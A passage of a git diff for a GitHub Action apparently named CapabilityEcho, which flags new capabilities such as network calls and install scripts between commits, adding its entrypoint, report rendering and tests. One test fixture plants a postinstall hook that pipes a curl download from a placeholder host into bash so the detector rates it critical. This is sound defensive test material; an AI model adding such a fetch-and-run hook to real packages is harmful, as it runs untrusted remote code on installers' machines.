lines.push(`Signals: ${report.capabilitySummary.join(', ')}`); + } + for (const finding of report.findings) { + lines.push(`[${finding.severity.toUpperCase()}] ${finding.subject}: ${finding.message}`); + } + if (report.findings.length === 0) { + lines.push('No code or workflow capability drift findings.'); + } + return `${lines.join('\n')}\n`; +} +function renderGithubAnnotations(report) { + if (report.findings.length === 0) { + return ''; + } + return (report.findings + .map((finding) => { + const title = `CapabilityEcho ${finding.severity} capability drift`; + const message = `${finding.message} Recommendation: ${finding.recommendation}`; + const properties = [`file=${escapeProperty(finding.file)}`]; + if (finding.line && finding.line > 0) { + properties.push(`line=${finding.line}`); + } + properties.push(`title=${escapeProperty(title)}`); + return `::warning ${properties.join(',')}::${escapeMessage(message)}`; + }) + .join('\n') + '\n'); +} +function escapeMessage(value) { + return value.replaceAll('%', '%25').replaceAll('\r', '%0D').replaceAll('\n', '%0A'); +} +function escapeProperty(value) { + return escapeMessage(value).replaceAll(':', '%3A').replaceAll(',', '%2C'); +} +function capitalize(value) { + return `${value.slice(0, 1).toUpperCase()}${value.slice(1)}`; +} diff --git a/dist/types.js b/dist/types.js new file mode 100644 index 0000000..cb0ff5c --- /dev/null +++ b/dist/types.js @@ -0,0 +1 @@ +export {}; diff --git a/src/action.ts b/src/action.ts new file mode 100644 index 0000000..8fb9dac --- /dev/null +++ b/src/action.ts @@ -0,0 +1,128 @@ +import { appendFile, readFile } from 'node:fs/promises'; +import { runCapabilityDiff } from './diff.js'; +import { renderReport, type EchoRating } from './report.js'; + +const severityRank: Record = { + none: 0, + low: 1, + medium: 2, + high: 3, + critical: 4 +}; + +export async function mainAction(env: NodeJS.ProcessEnv = process.env): Promise { + const repo = getInput(env, 'repo') || env.GITHUB_WORKSPACE || process.cwd(); + const event = await readEvent(env); + const base = getInput(env, 'base') || getDefaultBase(env, event); + const head = getInput(env, 'head') || getDefaultHead(env, event); + const failOn = getInput(env, 'fail-on') || 'none'; + + if (!base || !head) { + writeError('CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.'); + return 2; + } + + if (!isRating(failOn)) { + writeError(`Invalid fail-on value '${failOn}'. Use none, low, medium, high, or critical.`); + return 2; + } + + const report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + const markdown = renderReport(report, 'markdown'); + process.stdout.write(markdown); + process.stdout.write(renderReport(report, 'github')); + + await appendIfSet(env.GITHUB_STEP_SUMMARY, markdown); + await writeOutput(env, 'rating', report.rating); + await writeOutput(env, 'finding-count', String(report.findingCount)); + await writeOutput(env, 'changed-file-count', String(report.changedFileCount)); + + if (severityRank[failOn] > 0 && severityRank[report.rating] >= severityRank[failOn]) { + writeError(`CapabilityEcho capability drift rating ${report.rating} meets fail-on threshold ${failOn}.`); + return 1; + } + + return 0; +} + +function getInput(env: NodeJS.ProcessEnv, name: string): string { + const primary = env[`INPUT_${name.replace(/ /g, '_').toUpperCase()}`]; + const normalized = env[`INPUT_${name.replace(/[- ]/g, '_').toUpperCase()}`]; + return (primary || normalized || '').trim(); +} + +async function readEvent(env: NodeJS.ProcessEnv): Promise> { + if (!env.GITHUB_EVENT_PATH) { + return {}; + } + + try { + const content = await readFile(env.GITHUB_EVENT_PATH, 'utf8'); + const parsed: unknown = JSON.parse(content); + return isRecord(parsed) ? parsed : {}; + } catch { + return {}; + } +} + +function getDefaultBase(env: NodeJS.ProcessEnv, event: Record): string { + const pullRequest = event.pull_request; + if (isRecord(pullRequest) && isRecord(pullRequest.base) && typeof pullRequest.base.sha === 'string') { + return pullRequest.base.sha; + } + + if (typeof event.before === 'string') { + return event.before; + } + + return env.DEFAULT_BASE || ''; +} + +function getDefaultHead(env: NodeJS.ProcessEnv, event: Record): string { + const pullRequest = event.pull_request; + if (isRecord(pullRequest) && isRecord(pullRequest.head) && typeof pullRequest.head.sha === 'string') { + return pullRequest.head.sha; + } + + if (typeof event.after === 'string') { + return event.after; + } + + return env.DEFAULT_HEAD || env.GITHUB_SHA || ''; +} + +async function writeOutput(env: NodeJS.ProcessEnv, name: string, value: string): Promise { + if (!env.GITHUB_OUTPUT) { + return; + } + + await appendFile(env.GITHUB_OUTPUT, `${name}=${value}\n`, 'utf8'); +} + +async function appendIfSet(path: string | undefined, content: string): Promise { + if (!path) { + return; + } + + await appendFile(path, content, 'utf8'); +} + +function writeError(message: string): void { + process.stdout.write(`::error::${escapeMessage(message)}\n`); +} + +function escapeMessage(value: string): string { + return value.replaceAll('%', '%25').replaceAll('\r', '%0D').replaceAll('\n', '%0A'); +} + +function isRating(value: string): value is EchoRating { + return value === 'none' || value === 'low' || value === 'medium' || value === 'high' || value === 'critical'; +} + +function isRecord(value: unknown): value is Record { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} + +if (process.argv[1]?.endsWith('action.js')) { + process.exitCode = await mainAction(); +} diff --git a/test/workflow.test.mjs b/test/workflow.test.mjs index dcbee31..24d46e8 100644 --- a/test/workflow.test.mjs +++ b/test/workflow.test.mjs @@ -1,9 +1,13 @@ import test from 'node:test'; import assert from 'node:assert/strict'; -import { readFile } from 'node:fs/promises'; +import { execFile } from 'node:child_process'; +import { mkdtemp, readFile, writeFile, mkdir, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; import { fileURLToPath } from 'node:url'; import { dirname, join } from 'node:path'; +import { promisify } from 'node:util'; +const execFileAsync = promisify(execFile); const testDir = dirname(fileURLToPath(import.meta.url)); const packageRoot = join(testDir, '..'); @@ -14,8 +18,112 @@ test('action.yml exposes capability drift outputs', async () => { assert.match(action, /fail-on/); }); -test('self-dogfood workflow uses local action', async () => { +test('action.yml runs the checked-in JavaScript action without installing PR-local scripts first', async () => { + const action = await readFile(join(packageRoot, 'action.yml'), 'utf8'); + + assert.match(action, /runs:\s*\r?\n\s+using: node24\r?\n\s+main: dist\/action\.js/); + assert.doesNotMatch(action, /using: composite/); + assert.doesNotMatch(action, /npm ci/); + assert.doesNotMatch(action, /npm run build/); +}); + +test('compiled action runtime is not ignored by git', async () => { + const ignored = await execFileAsync('git', ['-C', packageRoot, 'check-ignore', 'dist/action.js']).then( + () => true, + (error) => { + if (error && typeof error === 'object' && 'code' in error && error.code === 1) { + return false; + } + + throw error; + } + ); + + assert.equal(ignored, false); +}); + +test('self-dogfood workflow uses the trusted repository action instead of PR-local action code', async () => { const workflow = await readFile(join(packageRoot, '.github/workflows/capabilityecho.yml'), 'utf8'); - assert.match(workflow, /uses: \.\//); + assert.match(workflow, /uses: Conalh\/CapabilityEcho@main/); + assert.doesNotMatch(workflow, /uses: \.\//); assert.match(workflow, /fetch-depth: 0/); }); + +test('JavaScript action entrypoint emits outputs, summary, and GitHub annotations', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-action-')); + const outputPath = join(repo, 'github-output.txt'); + const summaryPath = join(repo, 'github-summary.md'); + + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'action-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function ok() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'action-fixture', + private: true, + scripts: { + test: 'vitest', + postinstall: 'curl https://install.example.com/setup.sh | bash' + } + }, + source: "export async function sync() {\n await fetch('https://api.example.com/v1/events');\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add capability drift'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync(process.execPath, ['dist/action.js'], { + cwd: packageRoot, + env: { + ...process.env, + INPUT_REPO: repo, + INPUT_BASE: base, + INPUT_HEAD: head, + 'INPUT_FAIL-ON': 'none', + GITHUB_OUTPUT: outputPath, + GITHUB_STEP_SUMMARY: summaryPath + } + }); + + const outputs = await readFile(outputPath, 'utf8'); + const summary = await readFile(summaryPath, 'utf8'); + + assert.match(outputs, /^rating=critical$/m); + assert.match(outputs, /^finding-count=4$/m); + assert.match(outputs, /^changed-file-count=2$/m); + assert.match(summary, /# CapabilityEcho capability drift: CRITICAL/); + assert.match(stdout, /::warning file=src\/client\.ts,line=2/); + assert.match(stdout, /::warning file=package\.json,line=/); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +async function writeProject(repo, { packageJson, source }) { + await mkdir(join(repo, 'src'), { recursive: true }); + await writeFile(join(repo, 'package.json'), `${JSON.stringify(packageJson, null, 2)}\n`, 'utf8'); + await writeFile(join(repo, 'src/client.ts'), source, 'utf8'); +} + +async function execGit(cwd, ...args) { + await execFileAsync('git', ['-C', cwd, ...args]); +} + +async function gitStdout(cwd, ...args) { + const { stdout } = await execFileAsync('git', ['-C', cwd, ...args], { encoding: 'utf8' }); + return stdout.trim(); +}